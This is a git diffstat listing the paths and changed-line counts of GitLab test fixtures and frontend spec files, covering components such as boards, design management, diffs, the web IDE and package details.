-rw-r--r--spec/fixtures/api/schemas/issue.json2
-rw-r--r--spec/fixtures/api/schemas/jira_connect/author.json12
-rw-r--r--spec/fixtures/api/schemas/jira_connect/branch.json19
-rw-r--r--spec/fixtures/api/schemas/jira_connect/commit.json29
-rw-r--r--spec/fixtures/api/schemas/jira_connect/file.json14
-rw-r--r--spec/fixtures/api/schemas/jira_connect/pull_request.json26
-rw-r--r--spec/fixtures/api/schemas/jira_connect/repository.json34
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/issue_link.json20
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/issue_links.json9
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/milestone.json4
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/milestone_with_stats.json4
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/packages/collection_package.json34
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/packages/packages.json2
-rw-r--r--spec/fixtures/emails/x_envelope_to_header.eml32
-rw-r--r--spec/fixtures/gitlab/database/structure_example_cleaned.sql16
-rw-r--r--spec/fixtures/importers/bitbucket_server/activities.json75
-rw-r--r--spec/fixtures/importers/bitbucket_server/pull_request.json5
-rw-r--r--spec/fixtures/lib/gitlab/metrics/dashboard/broken_yml_syntax.yml13
-rw-r--r--spec/fixtures/markdown.md.erb9
-rw-r--r--spec/fixtures/pipeline_artifacts/code_coverage_with_multiple_files.json14
-rw-r--r--spec/fixtures/unescaped_chars.po8
-rw-r--r--spec/fixtures/valid.po2
-rw-r--r--spec/fixtures/whats_new/01.yml2
-rw-r--r--spec/fixtures/whats_new/02.yml2
-rw-r--r--spec/fixtures/whats_new/05.yml2
-rw-r--r--spec/frontend/__mocks__/@gitlab/ui.js10
-rw-r--r--spec/frontend/__mocks__/lodash/debounce.js13
-rw-r--r--spec/frontend/add_context_commits_modal/components/add_context_commits_modal_spec.js27
-rw-r--r--spec/frontend/ajax_loading_spinner_spec.js57
-rw-r--r--spec/frontend/alert_handler_spec.js46
-rw-r--r--spec/frontend/alert_management/components/alert_details_spec.js17
-rw-r--r--spec/frontend/alert_management/components/alert_management_sidebar_todo_spec.js19
-rw-r--r--spec/frontend/alert_management/components/alert_management_table_spec.js63
-rw-r--r--spec/frontend/alert_management/components/alert_metrics_spec.js9
-rw-r--r--spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js77
-rw-r--r--spec/frontend/alert_management/components/sidebar/alert_sidebar_status_spec.js6
-rw-r--r--spec/frontend/alert_management/mocks/alerts.json4
-rw-r--r--spec/frontend/api_spec.js23
-rw-r--r--spec/frontend/authentication/u2f/authenticate_spec.js6
-rw-r--r--spec/frontend/authentication/u2f/register_spec.js18
-rw-r--r--spec/frontend/authentication/webauthn/authenticate_spec.js132
-rw-r--r--spec/frontend/authentication/webauthn/error_spec.js50
-rw-r--r--spec/frontend/authentication/webauthn/mock_webauthn_device.js35
-rw-r--r--spec/frontend/authentication/webauthn/register_spec.js131
-rw-r--r--spec/frontend/authentication/webauthn/util.js19
-rw-r--r--spec/frontend/awards_handler_spec.js46
-rw-r--r--spec/frontend/badges/components/badge_settings_spec.js10
-rw-r--r--spec/frontend/batch_comments/mock_data.js1
-rw-r--r--spec/frontend/behaviors/autosize_spec.js18
-rw-r--r--spec/frontend/behaviors/gl_emoji_spec.js15
-rw-r--r--spec/frontend/blob/components/blob_content_spec.js18
-rw-r--r--spec/frontend/blob/components/blob_edit_content_spec.js21
-rw-r--r--spec/frontend/blob/components/blob_edit_header_spec.js2
-rw-r--r--spec/frontend/blob/components/blob_embeddable_spec.js35
-rw-r--r--spec/frontend/blob/pipeline_tour_success_mock_data.js1
-rw-r--r--spec/frontend/blob/pipeline_tour_success_modal_spec.js55
-rw-r--r--spec/frontend/blob/suggest_gitlab_ci_yml/components/popover_spec.js4
-rw-r--r--spec/frontend/blob/suggest_web_ide_ci/web_ide_alert_spec.js67
-rw-r--r--spec/frontend/blob_edit/blob_bundle_spec.js3
-rw-r--r--spec/frontend/blob_edit/edit_blob_spec.js31
-rw-r--r--spec/frontend/boards/board_card_spec.js238
-rw-r--r--spec/frontend/boards/board_list_helper.js6
-rw-r--r--spec/frontend/boards/board_list_spec.js6
-rw-r--r--spec/frontend/boards/board_new_issue_spec.js59
-rw-r--r--spec/frontend/boards/boards_store_spec.js2
-rw-r--r--spec/frontend/boards/components/board_card_layout_spec.js95
-rw-r--r--spec/frontend/boards/components/board_card_spec.js220
-rw-r--r--spec/frontend/boards/components/board_column_spec.js5
-rw-r--r--spec/frontend/boards/components/board_content_spec.js64
-rw-r--r--spec/frontend/boards/components/board_form_spec.js2
-rw-r--r--spec/frontend/boards/components/board_list_header_spec.js8
-rw-r--r--spec/frontend/boards/components/board_settings_sidebar_spec.js174
-rw-r--r--spec/frontend/boards/components/boards_selector_spec.js2
-rw-r--r--spec/frontend/boards/components/issuable_title_spec.js33
-rw-r--r--spec/frontend/boards/components/issue_count_spec.js2
-rw-r--r--spec/frontend/boards/components/sidebar/board_editable_item_spec.js107
-rw-r--r--spec/frontend/boards/issue_card_spec.js6
-rw-r--r--spec/frontend/boards/list_spec.js1
-rw-r--r--spec/frontend/boards/mock_data.js176
-rw-r--r--spec/frontend/boards/stores/actions_spec.js369
-rw-r--r--spec/frontend/boards/stores/getters_spec.js112
-rw-r--r--spec/frontend/boards/stores/mutations_spec.js330
-rw-r--r--spec/frontend/branches/ajax_loading_spinner_spec.js32
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js2
-rw-r--r--spec/frontend/clusters/components/__snapshots__/new_cluster_spec.js.snap8
-rw-r--r--spec/frontend/clusters/components/application_row_spec.js34
-rw-r--r--spec/frontend/clusters/components/fluentd_output_settings_spec.js2
-rw-r--r--spec/frontend/clusters/components/knative_domain_editor_spec.js11
-rw-r--r--spec/frontend/clusters/components/new_cluster_spec.js41
-rw-r--r--spec/frontend/clusters/components/uninstall_application_button_spec.js17
-rw-r--r--spec/frontend/clusters_list/components/ancestor_notice_spec.js4
-rw-r--r--spec/frontend/clusters_list/components/clusters_spec.js7
-rw-r--r--spec/frontend/collapsed_sidebar_todo_spec.js12
-rw-r--r--spec/frontend/confidential_merge_request/components/__snapshots__/project_form_group_spec.js.snap12
-rw-r--r--spec/frontend/create_cluster/components/cluster_form_dropdown_spec.js2
-rw-r--r--spec/frontend/create_cluster/eks_cluster/components/eks_cluster_configuration_form_spec.js106
-rw-r--r--spec/frontend/create_cluster/eks_cluster/components/service_credentials_form_spec.js8
-rw-r--r--spec/frontend/create_cluster/eks_cluster/store/actions_spec.js3
-rw-r--r--spec/frontend/create_cluster/gke_cluster/components/gke_machine_type_dropdown_spec.js6
-rw-r--r--spec/frontend/create_cluster/gke_cluster/components/gke_network_dropdown_spec.js18
-rw-r--r--spec/frontend/create_cluster/gke_cluster/components/gke_project_id_dropdown_spec.js1
-rw-r--r--spec/frontend/create_cluster/gke_cluster/components/gke_subnetwork_dropdown_spec.js2
-rw-r--r--spec/frontend/deploy_freeze/components/timezone_dropdown_spec.js4
-rw-r--r--spec/frontend/deploy_keys/components/key_spec.js10
-rw-r--r--spec/frontend/deprecated_jquery_dropdown_spec.js379
-rw-r--r--spec/frontend/design_management/components/delete_button_spec.js19
-rw-r--r--spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap21
-rw-r--r--spec/frontend/design_management/components/design_notes/__snapshots__/design_reply_form_spec.js.snap14
-rw-r--r--spec/frontend/design_management/components/design_notes/design_discussion_spec.js80
-rw-r--r--spec/frontend/design_management/components/design_notes/design_note_spec.js22
-rw-r--r--spec/frontend/design_management/components/design_notes/design_reply_form_spec.js20
-rw-r--r--spec/frontend/design_management/components/design_overlay_spec.js57
-rw-r--r--spec/frontend/design_management/components/design_presentation_spec.js2
-rw-r--r--spec/frontend/design_management/components/design_sidebar_spec.js41
-rw-r--r--spec/frontend/design_management/components/design_todo_button_spec.js158
-rw-r--r--spec/frontend/design_management/components/list/__snapshots__/item_spec.js.snap40
-rw-r--r--spec/frontend/design_management/components/list/item_spec.js3
-rw-r--r--spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap24
-rw-r--r--spec/frontend/design_management/components/upload/design_version_dropdown_spec.js14
-rw-r--r--spec/frontend/design_management/mock_data/apollo_mock.js18
-rw-r--r--spec/frontend/design_management/mock_data/design.js3
-rw-r--r--spec/frontend/design_management/mock_data/discussion.js45
-rw-r--r--spec/frontend/design_management/mock_data/notes.js74
-rw-r--r--spec/frontend/design_management/pages/__snapshots__/index_spec.js.snap2
-rw-r--r--spec/frontend/design_management/pages/design/__snapshots__/index_spec.js.snap14
-rw-r--r--spec/frontend/design_management/pages/design/index_spec.js134
-rw-r--r--spec/frontend/design_management/pages/index_apollo_spec.js162
-rw-r--r--spec/frontend/design_management/pages/index_spec.js140
-rw-r--r--spec/frontend/design_management/router_spec.js5
-rw-r--r--spec/frontend/design_management/utils/cache_update_spec.js13
-rw-r--r--spec/frontend/design_management/utils/design_management_utils_spec.js17
-rw-r--r--spec/frontend/design_management_legacy/components/__snapshots__/design_note_pin_spec.js.snap42
-rw-r--r--spec/frontend/design_management_legacy/components/__snapshots__/design_presentation_spec.js.snap104
-rw-r--r--spec/frontend/design_management_legacy/components/__snapshots__/design_scaler_spec.js.snap115
-rw-r--r--spec/frontend/design_management_legacy/components/__snapshots__/image_spec.js.snap68
-rw-r--r--spec/frontend/design_management_legacy/components/delete_button_spec.js51
-rw-r--r--spec/frontend/design_management_legacy/components/design_note_pin_spec.js49
-rw-r--r--spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_note_spec.js.snap67
-rw-r--r--spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_reply_form_spec.js.snap15
-rw-r--r--spec/frontend/design_management_legacy/components/design_notes/design_discussion_spec.js318
-rw-r--r--spec/frontend/design_management_legacy/components/design_notes/design_note_spec.js170
-rw-r--r--spec/frontend/design_management_legacy/components/design_notes/design_reply_form_spec.js184
-rw-r--r--spec/frontend/design_management_legacy/components/design_notes/toggle_replies_widget_spec.js98
-rw-r--r--spec/frontend/design_management_legacy/components/design_overlay_spec.js410
-rw-r--r--spec/frontend/design_management_legacy/components/design_presentation_spec.js553
-rw-r--r--spec/frontend/design_management_legacy/components/design_scaler_spec.js67
-rw-r--r--spec/frontend/design_management_legacy/components/design_sidebar_spec.js236
-rw-r--r--spec/frontend/design_management_legacy/components/image_spec.js133
-rw-r--r--spec/frontend/design_management_legacy/components/list/__snapshots__/item_spec.js.snap149
-rw-r--r--spec/frontend/design_management_legacy/components/list/item_spec.js169
-rw-r--r--spec/frontend/design_management_legacy/components/toolbar/__snapshots__/index_spec.js.snap61
-rw-r--r--spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_button_spec.js.snap28
-rw-r--r--spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_spec.js.snap29
-rw-r--r--spec/frontend/design_management_legacy/components/toolbar/index_spec.js123
-rw-r--r--spec/frontend/design_management_legacy/components/toolbar/pagination_button_spec.js61
-rw-r--r--spec/frontend/design_management_legacy/components/toolbar/pagination_spec.js79
-rw-r--r--spec/frontend/design_management_legacy/components/upload/__snapshots__/button_spec.js.snap79
-rw-r--r--spec/frontend/design_management_legacy/components/upload/__snapshots__/design_dropzone_spec.js.snap455
-rw-r--r--spec/frontend/design_management_legacy/components/upload/__snapshots__/design_version_dropdown_spec.js.snap111
-rw-r--r--spec/frontend/design_management_legacy/components/upload/button_spec.js59
-rw-r--r--spec/frontend/design_management_legacy/components/upload/design_dropzone_spec.js132
-rw-r--r--spec/frontend/design_management_legacy/components/upload/design_version_dropdown_spec.js122
-rw-r--r--spec/frontend/design_management_legacy/components/upload/mock_data/all_versions.js14
-rw-r--r--spec/frontend/design_management_legacy/mock_data/all_versions.js8
-rw-r--r--spec/frontend/design_management_legacy/mock_data/design.js74
-rw-r--r--spec/frontend/design_management_legacy/mock_data/designs.js17
-rw-r--r--spec/frontend/design_management_legacy/mock_data/no_designs.js11
-rw-r--r--spec/frontend/design_management_legacy/mock_data/notes.js46
-rw-r--r--spec/frontend/design_management_legacy/pages/__snapshots__/index_spec.js.snap263
-rw-r--r--spec/frontend/design_management_legacy/pages/design/__snapshots__/index_spec.js.snap216
-rw-r--r--spec/frontend/design_management_legacy/pages/design/index_spec.js291
-rw-r--r--spec/frontend/design_management_legacy/pages/index_spec.js543
-rw-r--r--spec/frontend/design_management_legacy/router_spec.js82
-rw-r--r--spec/frontend/design_management_legacy/utils/cache_update_spec.js44
-rw-r--r--spec/frontend/design_management_legacy/utils/design_management_utils_spec.js176
-rw-r--r--spec/frontend/design_management_legacy/utils/error_messages_spec.js62
-rw-r--r--spec/frontend/design_management_legacy/utils/tracking_spec.js59
-rw-r--r--spec/frontend/diffs/components/app_spec.js208
-rw-r--r--spec/frontend/diffs/components/collapsed_files_warning_spec.js88
-rw-r--r--spec/frontend/diffs/components/commit_item_spec.js3
-rw-r--r--spec/frontend/diffs/components/compare_versions_spec.js3
-rw-r--r--spec/frontend/diffs/components/diff_content_spec.js28
-rw-r--r--spec/frontend/diffs/components/diff_discussions_spec.js4
-rw-r--r--spec/frontend/diffs/components/diff_expansion_cell_spec.js19
-rw-r--r--spec/frontend/diffs/components/diff_file_header_spec.js19
-rw-r--r--spec/frontend/diffs/components/diff_file_row_spec.js30
-rw-r--r--spec/frontend/diffs/components/diff_file_spec.js44
-rw-r--r--spec/frontend/diffs/components/diff_stats_spec.js4
-rw-r--r--spec/frontend/diffs/components/image_diff_overlay_spec.js4
-rw-r--r--spec/frontend/diffs/components/inline_diff_expansion_row_spec.js5
-rw-r--r--spec/frontend/diffs/components/inline_diff_table_row_spec.js355
-rw-r--r--spec/frontend/diffs/components/inline_diff_view_spec.js4
-rw-r--r--spec/frontend/diffs/components/merge_conflict_warning_spec.js77
-rw-r--r--spec/frontend/diffs/components/no_changes_spec.js2
-rw-r--r--spec/frontend/diffs/components/parallel_diff_table_row_spec.js259
-rw-r--r--spec/frontend/diffs/components/parallel_diff_view_spec.js40
-rw-r--r--spec/frontend/diffs/components/settings_dropdown_spec.js42
-rw-r--r--spec/frontend/diffs/components/tree_list_spec.js115
-rw-r--r--spec/frontend/diffs/mock_data/diff_file.js111
-rw-r--r--spec/frontend/diffs/mock_data/diff_metadata.js3
-rw-r--r--spec/frontend/diffs/store/actions_spec.js207
-rw-r--r--spec/frontend/diffs/store/mutations_spec.js83
-rw-r--r--spec/frontend/diffs/store/utils_spec.js55
-rw-r--r--spec/frontend/editor/editor_lite_spec.js207
-rw-r--r--spec/frontend/editor/editor_markdown_ext_spec.js58
-rw-r--r--spec/frontend/emoji/emoji_spec.js3
-rw-r--r--spec/frontend/environments/environment_actions_spec.js17
-rw-r--r--spec/frontend/environments/environment_item_spec.js4
-rw-r--r--spec/frontend/environments/environment_monitoring_spec.js8
-rw-r--r--spec/frontend/environments/environment_pin_spec.js7
-rw-r--r--spec/frontend/environments/environment_rollback_spec.js4
-rw-r--r--spec/frontend/environments/environment_terminal_button_spec.js2
-rw-r--r--spec/frontend/environments/environments_app_spec.js6
-rw-r--r--spec/frontend/error_tracking/components/error_tracking_list_spec.js40
-rw-r--r--spec/frontend/error_tracking/components/stacktrace_entry_spec.js7
-rw-r--r--spec/frontend/fixtures/search.rb6
-rw-r--r--spec/frontend/fixtures/static/ajax_loading_spinner.html3
-rw-r--r--spec/frontend/fixtures/static/deprecated_jquery_dropdown.html39
-rw-r--r--spec/frontend/fixtures/static/gl_dropdown.html26
-rw-r--r--spec/frontend/fixtures/u2f.rb4
-rw-r--r--spec/frontend/fixtures/webauthn.rb47
-rw-r--r--spec/frontend/frequent_items/components/frequent_items_search_input_spec.js4
-rw-r--r--spec/frontend/gfm_auto_complete_spec.js7
-rw-r--r--spec/frontend/gl_dropdown_spec.js345
-rw-r--r--spec/frontend/gpg_badges_spec.js2
-rw-r--r--spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap2
-rw-r--r--spec/frontend/groups/components/invite_members_banner_spec.js144
-rw-r--r--spec/frontend/groups/components/item_actions_spec.js8
-rw-r--r--spec/frontend/groups/components/item_caret_spec.js4
-rw-r--r--spec/frontend/groups/components/item_stats_value_spec.js2
-rw-r--r--spec/frontend/groups/components/item_type_icon_spec.js8
-rw-r--r--spec/frontend/groups/members/index_spec.js66
-rw-r--r--spec/frontend/groups/members/mock_data.js33
-rw-r--r--spec/frontend/header_spec.js2
-rw-r--r--spec/frontend/helpers/dom_events_helper.js1
-rw-r--r--spec/frontend/helpers/fake_request_animation_frame.js1
-rw-r--r--spec/frontend/helpers/jest_helpers.js2
-rw-r--r--spec/frontend/helpers/local_storage_helper.js2
-rw-r--r--spec/frontend/helpers/local_storage_helper_spec.js9
-rw-r--r--spec/frontend/helpers/locale_helper.js2
-rw-r--r--spec/frontend/helpers/mock_apollo_helper.js23
-rw-r--r--spec/frontend/helpers/mock_dom_observer.js4
-rw-r--r--spec/frontend/helpers/startup_css_helper_spec.js65
-rw-r--r--spec/frontend/ide/commit_icon_spec.js1
-rw-r--r--spec/frontend/ide/components/branches/item_spec.js6
-rw-r--r--spec/frontend/ide/components/commit_sidebar/form_spec.js53
-rw-r--r--spec/frontend/ide/components/error_message_spec.js2
-rw-r--r--spec/frontend/ide/components/file_row_extra_spec.js4
-rw-r--r--spec/frontend/ide/components/ide_status_list_spec.js3
-rw-r--r--spec/frontend/ide/components/jobs/__snapshots__/stage_spec.js.snap2
-rw-r--r--spec/frontend/ide/components/jobs/detail/description_spec.js12
-rw-r--r--spec/frontend/ide/components/jobs/detail/scroll_button_spec.js4
-rw-r--r--spec/frontend/ide/components/jobs/detail_spec.js8
-rw-r--r--spec/frontend/ide/components/jobs/item_spec.js2
-rw-r--r--spec/frontend/ide/components/jobs/list_spec.js6
-rw-r--r--spec/frontend/ide/components/merge_requests/item_spec.js2
-rw-r--r--spec/frontend/ide/components/merge_requests/list_spec.js36
-rw-r--r--spec/frontend/ide/components/nav_dropdown_button_spec.js2
-rw-r--r--spec/frontend/ide/components/nav_dropdown_spec.js2
-rw-r--r--spec/frontend/ide/components/new_dropdown/button_spec.js2
-rw-r--r--spec/frontend/ide/components/new_dropdown/upload_spec.js2
-rw-r--r--spec/frontend/ide/components/pipelines/list_spec.js63
-rw-r--r--spec/frontend/ide/components/preview/clientside_spec.js22
-rw-r--r--spec/frontend/ide/components/repo_editor_spec.js13
-rw-r--r--spec/frontend/ide/components/repo_tab_spec.js132
-rw-r--r--spec/frontend/ide/components/repo_tabs_spec.js43
-rw-r--r--spec/frontend/ide/components/terminal/session_spec.js2
-rw-r--r--spec/frontend/ide/components/terminal/terminal_controls_spec.js8
-rw-r--r--spec/frontend/ide/components/terminal_sync/terminal_sync_status_spec.js9
-rw-r--r--spec/frontend/ide/helpers.js1
-rw-r--r--spec/frontend/ide/lib/editor_spec.js22
-rw-r--r--spec/frontend/ide/lib/errors_spec.js70
-rw-r--r--spec/frontend/ide/lib/files_spec.js19
-rw-r--r--spec/frontend/ide/mock_data.js3
-rw-r--r--spec/frontend/ide/services/index_spec.js6
-rw-r--r--spec/frontend/ide/stores/actions/file_spec.js26
-rw-r--r--spec/frontend/ide/stores/actions/merge_request_spec.js2
-rw-r--r--spec/frontend/ide/stores/actions_spec.js15
-rw-r--r--spec/frontend/ide/stores/getters_spec.js45
-rw-r--r--spec/frontend/ide/stores/integration_spec.js2
-rw-r--r--spec/frontend/ide/stores/modules/commit/actions_spec.js22
-rw-r--r--spec/frontend/ide/stores/modules/commit/mutations_spec.js21
-rw-r--r--spec/frontend/ide/stores/modules/pipelines/actions_spec.js40
-rw-r--r--spec/frontend/ide/stores/modules/pipelines/mutations_spec.js12
-rw-r--r--spec/frontend/ide/stores/mutations/file_spec.js2
-rw-r--r--spec/frontend/ide/stores/mutations_spec.js18
-rw-r--r--spec/frontend/ide/sync_router_and_store_spec.js8
-rw-r--r--spec/frontend/ide/utils_spec.js162
-rw-r--r--spec/frontend/import_projects/components/bitbucket_status_table_spec.js2
-rw-r--r--spec/frontend/import_projects/components/import_projects_table_spec.js114
-rw-r--r--spec/frontend/import_projects/components/imported_project_table_row_spec.js44
-rw-r--r--spec/frontend/import_projects/components/page_query_param_sync_spec.js87
-rw-r--r--spec/frontend/import_projects/components/provider_repo_table_row_spec.js151
-rw-r--r--spec/frontend/import_projects/store/actions_spec.js66
-rw-r--r--spec/frontend/import_projects/store/getters_spec.js27
-rw-r--r--spec/frontend/import_projects/store/mutations_spec.js178
-rw-r--r--spec/frontend/import_projects/utils_spec.js47
-rw-r--r--spec/frontend/incidents/components/incidents_list_spec.js55
-rw-r--r--spec/frontend/incidents/mocks/incidents.json12
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap20
-rw-r--r--spec/frontend/incidents_settings/components/alerts_form_spec.js2
-rw-r--r--spec/frontend/integrations/edit/components/active_checkbox_spec.js76
-rw-r--r--spec/frontend/integrations/edit/components/active_toggle_spec.js81
-rw-r--r--spec/frontend/integrations/edit/components/integration_form_spec.js22
-rw-r--r--spec/frontend/integrations/edit/components/jira_issues_fields_spec.js20
-rw-r--r--spec/frontend/integrations/edit/components/override_dropdown_spec.js106
-rw-r--r--spec/frontend/integrations/edit/mock_data.js5
-rw-r--r--spec/frontend/integrations/edit/store/getters_spec.js14
-rw-r--r--spec/frontend/integrations/edit/store/state_spec.js10
-rw-r--r--spec/frontend/integrations/integration_settings_form_spec.js195
-rw-r--r--spec/frontend/issuable/related_issues/components/add_issuable_form_spec.js289
-rw-r--r--spec/frontend/issuable/related_issues/components/issue_token_spec.js241
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_block_spec.js206
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_list_spec.js190
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_root_spec.js341
-rw-r--r--spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js111
-rw-r--r--spec/frontend/issuable_create/components/issuable_create_root_spec.js64
-rw-r--r--spec/frontend/issuable_create/components/issuable_form_spec.js119
-rw-r--r--spec/frontend/issuable_list/components/issuable_item_spec.js185
-rw-r--r--spec/frontend/issuable_list/components/issuable_list_root_spec.js160
-rw-r--r--spec/frontend/issuable_list/components/issuable_tabs_spec.js91
-rw-r--r--spec/frontend/issuable_list/mock_data.js135
-rw-r--r--spec/frontend/issuable_suggestions/components/app_spec.js10
-rw-r--r--spec/frontend/issuable_suggestions/components/item_spec.js13
-rw-r--r--spec/frontend/issuables_list/components/issuable_list_root_app_spec.js115
-rw-r--r--spec/frontend/issuables_list/components/issuable_spec.js493
-rw-r--r--spec/frontend/issuables_list/components/issuables_list_app_spec.js591
-rw-r--r--spec/frontend/issue_show/components/app_spec.js122
-rw-r--r--spec/frontend/issue_show/components/description_spec.js26
-rw-r--r--spec/frontend/issue_show/components/edit_actions_spec.js21
-rw-r--r--spec/frontend/issue_show/components/incidents/highlight_bar_spec.js56
-rw-r--r--spec/frontend/issue_show/components/incidents/incident_tabs_spec.js101
-rw-r--r--spec/frontend/issue_show/helpers.js1
-rw-r--r--spec/frontend/issue_show/index_spec.js19
-rw-r--r--spec/frontend/issue_show/issue_spec.js45
-rw-r--r--spec/frontend/issue_show/mock_data.js35
-rw-r--r--spec/frontend/issues_list/components/__snapshots__/issuables_list_app_spec.js.snap (renamed from spec/frontend/issuables_list/components/__snapshots__/issuables_list_app_spec.js.snap)0
-rw-r--r--spec/frontend/issues_list/components/issuable_spec.js492
-rw-r--r--spec/frontend/issues_list/components/issuables_list_app_spec.js595
-rw-r--r--spec/frontend/issues_list/components/jira_issues_list_root_spec.js115
-rw-r--r--spec/frontend/issues_list/issuable_list_test_data.js (renamed from spec/frontend/issuables_list/issuable_list_test_data.js)0
-rw-r--r--spec/frontend/issues_list/service_desk_helper_spec.js28
-rw-r--r--spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap4
-rw-r--r--spec/frontend/jira_import/components/jira_import_form_spec.js6
-rw-r--r--spec/frontend/jira_import/utils/jira_import_utils_spec.js2
-rw-r--r--spec/frontend/jobs/components/artifacts_block_spec.js17
-rw-r--r--spec/frontend/jobs/components/job_app_spec.js1
-rw-r--r--spec/frontend/jobs/components/log/collapsible_section_spec.js4
-rw-r--r--spec/frontend/jobs/components/log/line_header_spec.js4
-rw-r--r--spec/frontend/jobs/components/log/line_spec.js2
-rw-r--r--spec/frontend/jobs/components/log/log_spec.js12
-rw-r--r--spec/frontend/jobs/components/manual_variables_form_spec.js4
-rw-r--r--spec/frontend/jobs/store/helpers.js1
-rw-r--r--spec/frontend/labels_issue_sidebar_spec.js1
-rw-r--r--spec/frontend/lib/utils/axios_startup_calls_spec.js131
-rw-r--r--spec/frontend/lib/utils/datetime_utility_spec.js14
-rw-r--r--spec/frontend/lib/utils/forms_spec.js44
-rw-r--r--spec/frontend/lib/utils/text_markdown_spec.js34
-rw-r--r--spec/frontend/lib/utils/text_utility_spec.js21
-rw-r--r--spec/frontend/lib/utils/url_utility_spec.js38
-rw-r--r--spec/frontend/logs/components/environment_logs_spec.js25
-rw-r--r--spec/frontend/logs/components/log_advanced_filters_spec.js3
-rw-r--r--spec/frontend/logs/components/log_control_buttons_spec.js7
-rw-r--r--spec/frontend/logs/components/log_simple_filters_spec.js5
-rw-r--r--spec/frontend/logs/mock_data.js2
-rw-r--r--spec/frontend/logs/stores/getters_spec.js48
-rw-r--r--spec/frontend/matchers.js6
-rw-r--r--spec/frontend/milestones/project_milestone_combobox_spec.js48
-rw-r--r--spec/frontend/mocks/mocks_helper.js1
-rw-r--r--spec/frontend/monitoring/__snapshots__/alert_widget_spec.js.snap4
-rw-r--r--spec/frontend/monitoring/alert_widget_spec.js2
-rw-r--r--spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap10
-rw-r--r--spec/frontend/monitoring/components/charts/anomaly_spec.js3
-rw-r--r--spec/frontend/monitoring/components/charts/bar_spec.js15
-rw-r--r--spec/frontend/monitoring/components/charts/column_spec.js4
-rw-r--r--spec/frontend/monitoring/components/charts/heatmap_spec.js7
-rw-r--r--spec/frontend/monitoring/components/charts/stacked_column_spec.js10
-rw-r--r--spec/frontend/monitoring/components/charts/time_series_spec.js3
-rw-r--r--spec/frontend/monitoring/components/dashboard_actions_menu_spec.js8
-rw-r--r--spec/frontend/monitoring/components/dashboard_header_spec.js4
-rw-r--r--spec/frontend/monitoring/components/dashboard_panel_builder_spec.js4
-rw-r--r--spec/frontend/monitoring/components/dashboard_panel_spec.js18
-rw-r--r--spec/frontend/monitoring/components/dashboard_spec.js11
-rw-r--r--spec/frontend/monitoring/components/dashboards_dropdown_spec.js6
-rw-r--r--spec/frontend/monitoring/components/duplicate_dashboard_form_spec.js8
-rw-r--r--spec/frontend/monitoring/components/embeds/embed_group_spec.js16
-rw-r--r--spec/frontend/monitoring/components/graph_group_spec.js2
-rw-r--r--spec/frontend/monitoring/components/refresh_button_spec.js6
-rw-r--r--spec/frontend/monitoring/fixture_data.js11
-rw-r--r--spec/frontend/monitoring/graph_data.js26
-rw-r--r--spec/frontend/monitoring/mock_data.js45
-rw-r--r--spec/frontend/mr_popover/mr_popover_spec.js2
-rw-r--r--spec/frontend/namespace_select_spec.js27
-rw-r--r--spec/frontend/notes/components/__snapshots__/discussion_jump_to_next_button_spec.js.snap2
-rw-r--r--spec/frontend/notes/components/comment_form_spec.js38
-rw-r--r--spec/frontend/notes/components/discussion_counter_spec.js9
-rw-r--r--spec/frontend/notes/components/discussion_filter_spec.js2
-rw-r--r--spec/frontend/notes/components/discussion_resolve_button_spec.js15
-rw-r--r--spec/frontend/notes/components/note_actions_spec.js34
-rw-r--r--spec/frontend/notes/components/notes_app_spec.js2
-rw-r--r--spec/frontend/notes/helpers.js1
-rw-r--r--spec/frontend/notes/mixins/discussion_navigation_spec.js10
-rw-r--r--spec/frontend/notes/stores/actions_spec.js24
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/code_instruction_spec.js.snap46
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/conan_installation_spec.js.snap20
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/dependency_row_spec.js.snap2
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/history_element_spec.js.snap38
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/maven_installation_spec.js.snap22
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/npm_installation_spec.js.snap36
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/nuget_installation_spec.js.snap20
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/package_title_spec.js.snap234
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/pypi_installation_spec.js.snap12
-rw-r--r--spec/frontend/packages/details/components/additional_metadata_spec.js2
-rw-r--r--spec/frontend/packages/details/components/app_spec.js122
-rw-r--r--spec/frontend/packages/details/components/code_instruction_spec.js110
-rw-r--r--spec/frontend/packages/details/components/composer_installation_spec.js15
-rw-r--r--spec/frontend/packages/details/components/conan_installation_spec.js2
-rw-r--r--spec/frontend/packages/details/components/history_element_spec.js57
-rw-r--r--spec/frontend/packages/details/components/maven_installation_spec.js2
-rw-r--r--spec/frontend/packages/details/components/npm_installation_spec.js6
-rw-r--r--spec/frontend/packages/details/components/nuget_installation_spec.js2
-rw-r--r--spec/frontend/packages/details/components/package_history_spec.js6
-rw-r--r--spec/frontend/packages/details/components/package_title_spec.js99
-rw-r--r--spec/frontend/packages/details/store/actions_spec.js24
-rw-r--r--spec/frontend/packages/details/store/getters_spec.js4
-rw-r--r--spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap2
